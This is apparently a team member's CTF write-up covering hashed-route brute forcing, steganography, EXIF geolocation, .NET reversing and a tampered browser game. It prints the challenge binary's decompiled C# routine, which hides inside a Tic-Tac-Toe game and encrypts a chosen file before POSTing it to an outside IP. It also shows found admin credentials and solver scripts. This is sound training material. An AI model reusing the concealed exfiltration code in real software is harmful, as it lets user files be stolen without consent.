I’m really proud of my team for topping the scoreboard!
This CTF was done through a 3D Unity game where there are 3 locations for you to explore and find challenges in. There were hiccups with some challenges but generally it was still fine. It would have also been nice if the in-game description texts for challenges were made selectable so that we could copy-and-paste them elsewhere for convenience and organization.
🎵 Afrojack, Lucas & Steve, DubVision - Anywhere With You (Festival Mix) 🎵
A
A07 SHA Fuzz
Revo Force was also found to be using an online platform to supply information to conduct malicious activities. It is weird that there is not much information available on the online platform.
Investigate the online platform further to find any hidden web pages that contain information of their activities.
The flag will appear in the following format: htx{String}
Click the links to decode the challenge
Team 1-60
hxxp://10.8.202.1:5000
Team 61-119
hxxp://10.8.202.2:5000
Visiting the webpage brings us to /home where there is an interesting HTML comment in the body:
1
2
3
4
5
<divclass="container mt-2 ml-2 text-success"><h2class="text-left">Welcome to Reno Force United!</h2><p>A community of hackers who seek <spanclass="text-danger">Reno</span>vation of the society around us. We welcome any hacker, professional or enthusiast, who shares this vision :-)</p></div><!--TOP SECRET ACCESS POINT: /SHA256(ROUTE) in LOWERCASE-->
Web Route Bruteforce
Since the challenge description says to “find any hidden web pages”, and the HTML comment suggests that web routes are SHA-256-hashed, I did a Burp Intruder scan for files and directories with the added option to SHA-256 hash each payload.
The Homepage tells us to refer to the Manual for the “definitive list of accessible URLs”.
1
2
3
4
5
6
7
8
<h2class="text-left">Welcome to The <spanclass="font-italic text-primary">SUPER SECRET</span> Reno Force Hideout!</h2><p>Browsing Reno Force has never been so secure with the newly implemented <spanclass="text-danger">Reno</span>filter™! This revolutionary system
keeps your browser history securely encoded, and protects RenoForce's confidential data from a variety of attacks!
<br/><br/> To keep things extra private, we minimize the use of links on our website. Please refer to the manual attached in the membership induction package
for the definitive list of accessible URLs.
</p>
The Manual page contains a download link to /static/manual.txt which contains a list of URLS we’ve already found through Burp Intruder except for “sha256 generator”.
1
2
3
4
5
<h2class="text-left">URL Manual</h2><p>Oops! Have you misplaced your essential URL Manual? Do not fret! Download another copy using the link below!
<br/><ahref="/static/manual.txt"download>Download</a></p>
1
2
3
4
5
home - 4ea140588150773ce3aace786aeef7f4049ce100fa649c94fbbddb960f1da942
manual - 36bde66f289a35683683b041c6d8f418a5f36607b547da25d00ad55891e80b88
login - 428821350e9691491f616b754cd8315fb86d797ab35d843479e732ef90665324
forum - 4eb41a2a9dfe70722ee4671a6d1fcc6921c26cc8bcb54e5632f5e7d740352940
sha256 generator - 5d5b09f6dcb2d53a5fffc60c4ac0d55fabdf556069d6631545f42aa6e3500f2e
The Login page has the HTML comment <!--Please don't brute force this! Try searching more!-->, so let’s ignore that for now.
The Forum page is the interesting one, so let’s take a look at that.
Forum
On the page there is an inline script that calls out to the “sha256 generator” page we saw earlier in manual.txt in order to generate the SHA-256 hashed route of forum posts based on their id attribute.
<tbody><trid="post2"><thscope="row"> Welcome to Reno Force!
</th><td>admin</td><td>1</td></tr><trid="post3"><thscope="row"> Wow, this website isn't easy to use!
</th><td>waza</td><td>2</td></tr><trid="post4"><thscope="row"> How's your day today!
</th><td>admin</td><td>2</td></tr><trid="post5"><thscope="row"> I suspect this forum isn't very secure...
</th><td>3l33t</td><td>2</td></tr></tbody>
So maybe we can search for posts not shown on the current forum page?
Post ID Bruteforce
Burp Intruder comes in handy again. This time I do a short loop from forum/post1 to forum/post100 with SHA-256 hashing.
/e0ec165a064cc409f6116bc842080ac4daec347c3b8791699ef0b5e6d621dea8 which is from the SHA-256 hash of forum/post1 gave us admin credentials for login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<tbody><tr><thscope="row"> admin
</th><td>Just in case I forget: Credentials for login
<br/><br/> password: Id15l1k3p@55w0rds
</td></tr><tr><thscope="row"> admin
</th><td>Oops. I should probably delete this.</td></tr></tbody>
Logging In
Using the credentials admin:Id15l1k3p@55w0rds for the login page /428821350e9691491f616b754cd8315fb86d797ab35d843479e732ef90665324, we get the flag:
My teammate Kai Xuan pointed https://twitter.com/AroldoRaegan/ out in revo_hax0r’s “Following” list as it wasn’t Twitter verified and also appeared to have a profile picture with an AI-generated face. The “Join Date” year and month are also the same for both accounts.
Revo Force has uploaded malware in the form of pictures onto the Singapore Prison Service’s website.
You have retrieved one of the pictures but it seems that there is a hidden secret message inside.
Download the attached picture for further investigation.
The flag and solution is a case sensitive string of text.
Attached: output.png
From the title of the challenge it sounds like there’s probably LSB steganography. zsteg is my favorite tool for PNG steganography so let’s run that.
Using the encoding scheme b1,rgb,lsb,xy we see the interesting string 16:REVO_FORCE_GREATLN. Sadly, this is not the flag but REVO_FORCE_GREAT is. Not the best flag design in my opinion.
Flag: REVO_FORCE_GREAT
A15 Find Revo Force’s hideout
Revo Force has uploaded malware in the form of pictures onto the Singapore Prison Service’s website.
However, they were careless and left some clues behind in the metadata.
Can you identify a landmark based on the most common latitude and longitude pair that will lead us to Revo Force’s hideout?
Download the attached pictures for further investigation.
The flag and solution is in the form of latitude and longitude, separated by a comma eg:
x.xxxxxx, yyy.yyyyyy
Round your latitude and longitude tuple to 6 decimal places.
Attached: cats_final.zip
cats_final.zip contains 72 JPG files with EXIF metadata containing GPS coordinates. We can find the most common latitude and longitude pair simply with:
1.340885 103.644482 is the most common pair, which is actually directly the answer. I think the challenge description is a bit misleading when it says to “identify a landmark based on the most common latitude and longitude pair”.
Flag: 1.340885, 103.644482
A23 Reversing 101
There is a weird application found in one of the machines and it has been brought back to HTX office for analysis. Analyse the application to find the underlying secret behind it.
Completing this challenge will unlock A24.
The flag will appear in the following format: HTX{String}
Attached: TicTacToe.exe
The application is a .NET Tic-Tac-Toe game obfuscated with ConfuserEx v1.0.0.
Deobfuscation
Fortunately, the executable is not packed so we can just use de4dot without any custom configuration and it’ll do a decent job in deobfuscating the names into something friendly for humans.
Though the application contains Form1 and Form2, the former is run first. Form2 is actually for A24 PCAP 101 instead.
Code Analysis
After going through all the interesting methods of Form1 and renaming classes/variables/methods, I had a good grasp of what was going on.
In the method that is called each time after a move is made, there is a secret function that will be called when the Player’s score is 3 and the Computer’s score is 2.
The secret function displays the message You have accessed the hidden locker, can you unlock it?, turns the Tic-Tac-Toe board into a 9-digit PIN pad and sets this.bool_check_pin_on_click = true such that some functions will behave differently now that the application is in this “hidden locker” mode.
Clicking on the numbered buttons will append the digit to a global variable as a string using method_add_to_global_pin. When the global string variable reaches a length of 9 meaning 9 digits have been clicked, this.method_pin_check() will be called.
The PIN checking function method_pin_check() checks if the 9 digits entered satisfy the lengthy boolean condition (num % num9 == 0 && num9 * 3 == num2 && num2 * 3 == num4 && num5 % num2 == 2 && num6 * 4 == num5 && num2 % num4 == num3 && num2 - num6 == num && num7 % num3 == num && num7 / 2 == num6 && num8 % num2 == num9 && num8 % num7 == num2). If it does, TtH/04xZb79By/VnbPZlBgO/D96vRmqPk0QT50gbdi8= will be Base64-decoded and AES-CBC-128 decrypted with a key derived from the 9-digit PIN as the password and Y0uSh0uldPr3ssth as the salt. 3butt0ns is the IV. The decrypted contents are probably the flag.
Finding The PIN
To find the 9-digit PIN that satisfies the boolean condition, I used Z3.
Entering the PIN 133982471 gets us the flag shown in a message box :)
Flag: HTX{R3v3rs1ngCSh4rp1sE4sy}
A24 PCAP 101
The application seems to be sending something suspicious. The network traffic has been captured and saved into a pcap file. Download the pcap file and analyse the network traffic.
The flag will appear in the following format: HTX{String}
Attached: TicTacToe.exe
Attached: Analyse.pcap
This is a continuation from A23 Reversing 101 using the same .NET executable.
After unlocking the “hidden locker” with the correct PIN, the message You have discovered a secret communication channel used by the attackers to exfiltrate information. The network traffic is captured and stored in the pcapng file provided. is displayed and Form2 is loaded.
Code Analysis
Upon clicking ‘Send’ after selecting a file, the file contents will be AES-CBC-128 encrypted with cyb3rch3fd3crypt as the key. The encrypted contents as a hexadecimal string is prefixed with the 16-byte IV and suffixed with a !. This final payload is then sent in the body of a HTTP POST request to http://3.0.94.98:1337.
I’ve added some of the Base64-decoded strings as comments for ease of reference.
privatevoidsend_Click(objectsender,EventArgse){try{byte[]byte_=File.ReadAllBytes(this.filepath);byte[]byte_2=Convert.FromBase64String("Y3liM3JjaDNmZDNjcnlwdA==");// cyb3rch3fd3cryptglobal::ClassCryptoclassCrypto=newglobal::ClassCrypto();AesCryptoServiceProvideraesCryptoServiceProvider=newAesCryptoServiceProvider();aesCryptoServiceProvider.GenerateIV();byte[]value=classCrypto.method_encrypt(byte_,byte_2,aesCryptoServiceProvider.IV);WebRequestwebRequest=WebRequest.Create(Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cDovLzMuMC45NC45ODoxMzM3")));// http://3.0.94.98:1337webRequest.Method="POST";webRequest.Headers["Accept-From"]="tictactoe";strings=BitConverter.ToString(aesCryptoServiceProvider.IV).Replace("-",string.Empty)+BitConverter.ToString(value).Replace("-",string.Empty)+"!";byte[]bytes=Encoding.UTF8.GetBytes(s);webRequest.ContentType="text/html; charset=UTF-8";webRequest.ContentLength=(long)bytes.Length;StreamrequestStream=webRequest.GetRequestStream();requestStream.Write(bytes,0,bytes.Length);requestStream.Close();MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String("VXBsb2FkIFN1Y2Nlc3Mh")),Encoding.UTF8.GetString(Convert.FromBase64String("U3VjY2Vzcw==")),MessageBoxButtons.OK,MessageBoxIcon.Asterisk);// Upload Success!// Success}catch{MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String("UGxlYXNlIHNlbGVjdCBhIGZpbGU=")),Encoding.UTF8.GetString(Convert.FromBase64String("Tm8gZmlsZSBzZWxlY3RlZA==")),MessageBoxButtons.OK,MessageBoxIcon.Asterisk);// Please select a file// No file selected}}
PCAP
Now if we filter for HTTP POST requests to 3.0.94.98 in the given Analyse.pcap, we get 5 requests that seem to be sent by the code we saw earlier in Code Analysis. The destination port is 1337, the Accept-From header is set with tictactoe, and the body data is a long hexadecimal string ending with a !.
Since we know the format of the body data from our earlier analysis, let’s decrypt these packets and find out what files are being transmitted.
Since the 4 decrypted images pieced together imply that something “Top Secret” and “Confidential” is contained within them, I posited that the 4 plaintext passwords transmitted were meant to be used to steganographically decode the 4 images.
steghide is one of the more well-known tools for JPEG steganography, so I tried that first and it worked. Guessing which password was for which image was something I had to do though.
1
2
3
4
5
6
7
8
9
10
11
12
a@b:/mnt/c/HTXIC/decrypted$ steghide extract -sf decrypted0.jpg -p 4v3nG3er555 -
xf secret0.txt
wrote extracted data to "secret0.txt".
a@b:/mnt/c/HTXIC/decrypted$ steghide extract -sf decrypted1.jpg -p 1c3_m0unTa1n
-xf secret1.txt
wrote extracted data to "secret1.txt".
a@b:/mnt/c/HTXIC/decrypted$ steghide extract -sf decrypted2.jpg -p m0n77_bl4nc -
xf secret2.txt
wrote extracted data to "secret2.txt".
a@b:/mnt/c/HTXIC/decrypted$ steghide extract -sf decrypted4.jpg -p sUpeR_s0n1c -
xf secret4.txt
wrote extracted data to "secret4.txt".
The decoded text files then contain fragments of the flag:
Play your best game to find what you seek with the laptop.
The flag will appear in the following format: HTX{String}
Click the links to enter the game Team 1-60
hxxp://10.8.205.1/en/
Team 61-119
hxxp://10.8.205.2/en/
The website hosts a web version of the Pikachu Volleyball game with the source code stated to be available here: https://github.com/gorisanson/pikachu-volleyball. The game involves 2 players and you can play with either the computer or a friend. The objective is to try to reach a winning score first.
Source Code Analysis
My teammates Zeyu and Jared discovered that the game’s source code on the site has a few suspicious modifications absent in the official version on GitHub.
The source code can be seen at /main.bundle.js, though it will also actually be helpfully mapped back to its original individual JS files when viewed in the Sources tab of Chrome DevTools.
First, in assets_path.js, a TEXTURE.WINNING_MESSAGE containing a long hexadecimal string representing a PNG has been introduced.
Second, in view.js, 2 functions decodeImage and imagetoBytes have been added for the purpose of extracting bytes from TEXTURE.WINNING_MESSAGE depending on scores. scores is a 2-element array that represents the scores of the 2 players as seen in the source code:
1
2
/** @type {number[]} [0] for player 1 score, [1] for player 2 score */this.scores=[0,0];
Third, in pikavolley.js, code has been added to call decodeImage and this.reset when the game ends (this.gameEnded == true). The extracted bytes from decodeImage (this.imgBuffer) and the 2-element array this.scores are passed into this.reset. The result is then tested to contain printable characters using the regular expression /^[\x21-\x7F]*$/.
What does this.reset do? Though it comes with the innocuous comment Reset Scoreboard, the astute player will immediately recognize that the function actually performs RC4 encryption/decryption. In this case when it is called when the game ends, it will try to RC4-decrypt the extracted bytes from decodeImage using the 2-element scores array (padded into a string) as the key.
Thus, we need to find the correct pair of scores for the scores array to decode and decrypt TEXTURE.WINNING_MESSAGE into what will probably be the flag.
Since all these code will only be executed when this.gameEnded == true, let’s take a look at where this condition is set. Searching inside main.bundle.js, we see that the game is considered to be ended when either Player 1 or Player 2 has a score equal to the winning score.
And in ui.js, the game code has actually also been modified to add 20, 25, and 30 has potential winning scores.
What we can do is to bruteforce all the combinations where one player attains a winning score while the other has any score lower than the winning score. The code will look something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
constwinning_scores=[5,10,15,20,25,30];functionsolve(){for(constp1_scoreofwinning_scores){for(letp2_score=0;p2_score<p1_score;p2_score++){// Player 1 with winning score
letscores=[p1_score,p2_score];decrypt(scores);// Player 2 with winning score
scores.reverse();decrypt(scores);}}}
Solver Script
With the other functions lifted from the modified game source code, the full solver script is as follows:
constTEXTURE.WINNING_MESSAGE="89504e470d0a1a0a0000000d49484452000000300000003008060000005702f98700000419694343506b4347436f6c6f72537061636547656e657269635247420000388d8d555d681c55143ebb73672324ce536c348574a83f0d250d935634a1b4ba7fdddd366e964936da22e864f6eece98c9ce3833bbfda14f45507c31ea9b14c4bfb7802028f50fdb3eb42f950a25dad420283eb4f88350e88ba6eb993b339969bab1de65ee7cf39def9e7beeb967ef05e8b9aa5896911401169aae2d1732e273878f883d2b908487a01706a157511d2b5da94c02364f0b77b55bdf43c27b5fd9d5ddfe9fadb7461d1520711f62b3e6a80b888f01f0a755cb76017afa911f3fea5a1ef662e8b73140c42f7ab8e163d7c3733e7e8d6966e42ce2d3880555536a8897108fccc5f8460cfb31b0d65fa04d6aebaae8e5a2629b75dda0b170ef61fe9f6dc16885f36dc3a7cf999f3e84ef615cfb2b3525e7e151c44baa929f46fc08e26b6d7db61ce0db969b91113f0690dcde9aafa611ef445cacdb07aabe9fa4adb58a217ee78436f32ce22d88cf37e7ca53c1d8abaa93c59cc176c4b7355af2f23b04c089ba5b9af1c772fb6d539ef2e7e5ea359acb7b7944fcfabc7948f67d729f39ede97ce8f384962d07fca597948315c483887fa14641f6e7e2feb1dc4a1003196a1ae5497f2e92a30e5b2fe35d6da6e8cf4b0c1737d41f4b16ebfa8152a0ff44b38b7280af5906ab518c8d4fda2db9eaebf951c5ce177c9f7c8536ab817fbe0db3090528983087bd0a4d58031164284006df16d868a9830e063214ad14198a5fa166171be7c03cf23ab499cdc1bec294fec8c85f83f9b8ceb42a64873e8216b21afc8eac16d365f1ab855c63133f7e2c37023f26192012d983cf5e3249f69171320122798a3c4df6931cb21364effad84a6c455e3c37d6fdbc8c3352a69b45dd39b4bba060ff332a4c5c53d7ac2c0eb68623cb29fb055dbdfcc65fb15ce92c3751b6e2199dba57cef95ff9ebfc32f62bfc6aa4e07fe457f1b772c75accbbb24cc3ec6c587377551a6d06e316f0d199c589c51df371f1e4570f467e96c999e7aff45d3c596f2e0e46ac9705fa6af956194e8d44acf483f487b42cbd277d28fdc6bdcd7dca7dcd7dce7dc15d02913bcb9de3bee12e701f735fc6f66af31a5adf7b167918b767e9966bac4a21236c151e1672c236e1516132f2270c08634251d88196adebfb169f2f9e3d1d0e631fe6a7fb5cbe2e560189fbb102f44dfe555554e97094291d566f4d38be41138c2443648c943654f7b857f3a122954fe5526910533b5313a9b1d4410f87b3a676a06d02fbfc1dd5a96eb252ead263de7d0259d33a6eeb0dcd15774bd293621aaf362a969aeae888a81886c84c8e685387da6d5a1b05efdef48ff49b32bb0f135b2e479cfb0cc0be3ff1ecfb2ee28eb400961c8081c7236e18cfca07de0538f384dab2dbc11d91487c0be0d4f7ecf6bffa32787efdd4e9dcc473ace72d80b5373b9dbfdfef74d63e40ffab00678d7f01a09f7c55035c0bef0000006c655849664d4d002a000000080004011a0005000000010000003e011b0005000000010000004601280003000000010002000087690004000000010000004e00000000000000900000000100000090000000010002a00200040000000100000030a0030004000000010000003000000000b11d850a0000000970485973000016250000162501495224f000000315494441546805cd996192d3300c85e34e197e700c8e07d7e1781c836198dd21f40bf3bc8a2a3bb6db34f14c6bd9919ede939c842d699aa6f9f6c9e3ebfc39db7b1a3fd39f2a7c0b0f30aef3fc2503a5f42bdb7b1996b8cdad7c7068254ffc5581cc6cf400d8586b9708887c893818a5588b0f8e30d2cd581d217521021201c0046081650b436bcd518c7ca37c8ab3b325cffeaa036c28893ad14a9a580d6168bd35b790170f8f7d2740c97044840fd0f557cebeea367751004e7b9357972d216b97aa6e7daa02ace3b3ed16f22d05bc3c9b580bdeb3c893eb10015456c7c30bae9d77efbb08a01a6719bde417017c1d21c2776184fc22a0e5198ce3e8a038fa943046c983b7dc0388287541c94bd74ba4d827669ee7e5a375e45fcb1ff9dbbdea4ddc4ac0028edaa322aa0246c9d8b894d2ad13c96e65dbdf07bd2228f0a6801a019800c2271afe45e4d73e867b8151c2f3feacab6f62125ab08840b46713b55c570eebcb9e5d5b4c6caed3b1aa001c6b205c676c25fbefb5fe7e4fefab0d9f87750957e40158048c3cc600b1c3af3d21ebebc9db6bbd76d8019be03a872e4b6720fd36adff86fe347dfcb5d44ba6c5df561fffbb9bd892c7c1afd93b72d059ddecf0b813d0430e302aaed15afd52578563677f34b96645c4e7d0226c6980298776eb3a89a8b6c4a2c083c77ede874440d8c0b78a4f0ff17dbc3f8f1126c6177b72705a3c265802407bc7a90bb79efcdb96ad461711e23e634be61c65233e6bc43a432340ed313dcda3f786f1744a0b806f741657c8b5803c2b0c4a4037e257e6d4aa22975328d0f1b0c8fbbcdefd33ea1d865823bf111de98913fa5376df465e66353f6c2253ee04a855aa9ed58dce19b45df15880404749f93891632e61b32fbf0bc61947eded2bf2f0bed41ccf20cc1618db925f04f02511d6f968f2fa37dab7db93fe7bfa9d89c3d58e7c0fe802224a67cf06ee69431ee21a3fa6bfc5ff3bcb02e47ce44cf12c71b8d4c873fd4326ab0347747cb7c843f71402746c39ba90ee19a73a4210d7331e5bf72576691cde0155df136c214fcce1023cf1def5e904d091d6ea871d20387a22f456e655fea7eb40aff07ff084919c47a2db0d00000315494441546805cd996192d3300c85e34e197e700c8e07d7e1781c836198dd21f40bf3bc8a2a3bb6db34f14c6bd9919ede939c842d699aa6f9f6c9e3ebfc39db7b1a3fd39f2a7c0b0f30aef3fc2503a5f42bdb7b1996b8cdad7c7068254ffc5581cc6cf400d8586b9708887c893818a5588b0f8e30d2cd581d217521021201c0046081650b436bcd518c7ca37c8ab3b325cffeaa036c28893ad14a9a580d6168bd35b790170f8f7d2740c97044840fd0f557cebeea367751004e7b9357972d216b97aa6e7daa02ace3b3ed16f22d05bc3c9b580bdeb3c893eb10015456c7c30bae9d77efbb08a01a6719bde417017c1d21c2776184fc22a0e5198ce3e8a038fa943046c983b7dc0388287541c94bd74ba4d827669ee7e5a375e45fcb1ff9dbbdea4ddc4ac0028edaa322aa0246c9d8b894d2ad13c96e65dbdf07bd2228f0a6801a019800c2271afe45e4d73e867b8151c2f3feacab6f62125ab08840b46713b55c570eebcb9e5d5b4c6caed3b1aa001c6b205c676c25fbefb5fe7e4fefab0d9f87750957e40158048c3cc600b1c3af3d21ebebc9db6bbd76d8019be03a872e4b6720fd36adff86fe347dfcb5d44ba6c5df561fffbb9bd892c7c1afd93b72d059ddecf0b813d0430e302aaed15afd52578563677f34b96645c4e7d0226c6980298776eb3a89a8b6c4a2c083c77ede874440d8c0b78a4f0ff17dbc3f8f1126c6177b72705a3c265802407bc7a90bb79efcdb96ad461711e23e634be61c65233e6bc43a432340ed313dcda3f786f1744a0b806f741657c8b5803c2b0c4a4037e257e6d4aa22975328d0f1b0c8fbbcdefd33ea1d865823bf111de98913fa5376df465e66353f6c2253ee04a855aa9ed58dce19b45df15880404749f93891632e61b32fbf0bc61947eded2bf2f0bed41ccf20cc1618db925f04f02511d6f968f2fa37dab7db93fe7bfa9d89c3d58e7c0fe802224a67cf06ee69431ee21a3fa6bfc5ff3bcb02e47ce44cf12c71b8d4c873fd4326ab0347747cb7c843f71402746c39ba90ee19a73a4210d7331e5bf72576691cde0155df136c214fcce1023cf1def5e904d091d6ea871d20387a22f456e655fea7eb40aff07ff084919c47a2db0d0000000049454e44ae426082";functionimagetoBytes(hex){for(varbytes=[],c=0;c<hex.length;c+=2)bytes.push(parseInt(hex.substr(c,2),16));returnbytes;}functiondecodeImage(scores){varresult="";varRGB=parseInt(Math.abs(((scores[0]-scores[1])%4)));for(vari=0;i<2*parseInt(WINNING_MESSAGE.substr(12,2),16);i++){result+=WINNING_MESSAGE.substr(i*2*RGB+3424,2);}returnimagetoBytes(result)}// actually RC4 decryption
functionreset(scores,str){vars=[],j=0,x,res='';// if(navigator.userAgent.toLowerCase().indexOf('firefox')== -1)
// return " ";
varscore=(scores[0].toString().padStart(5,'0')+scores[1].toString().padStart(5,'0'))for(vari=0;i<256;i++){s[i]=i;}for(i=0;i<256;i++){j=(j+s[i]+score.charCodeAt(i%score.length))%256;x=s[i];s[i]=s[j];s[j]=x;}i=0;j=0;for(vary=0;y<str.length;y++){i=(i+1)%256;j=(j+s[i])%256;x=s[i];s[i]=s[j];s[j]=x;res+=String.fromCharCode(str.charCodeAt(y)^s[(s[i]+s[j])%256]);}returnres;}functiondecrypt(scores){letimgBuffer="";varpixel=decodeImage(scores);for(varj=0;j<pixel.length;j++){imgBuffer+=String.fromCharCode(pixel[j]);}letflag=reset(scores,imgBuffer);// Testing if only printable characters in decrypted flag
if(/^[\x21-\x7F]*$/.test(flag)){console.log("Score pair:",scores)console.log("Decrypted:",flag);}}constwinning_scores=[5,10,15,20,25,30];functionsolve(){for(constp1_scoreofwinning_scores){for(letp2_score=0;p2_score<p1_score;p2_score++){// Player 1 with winning score
letscores=[p1_score,p2_score];decrypt(scores);// Player 2 with winning score
scores.reverse();decrypt(scores);}}}solve()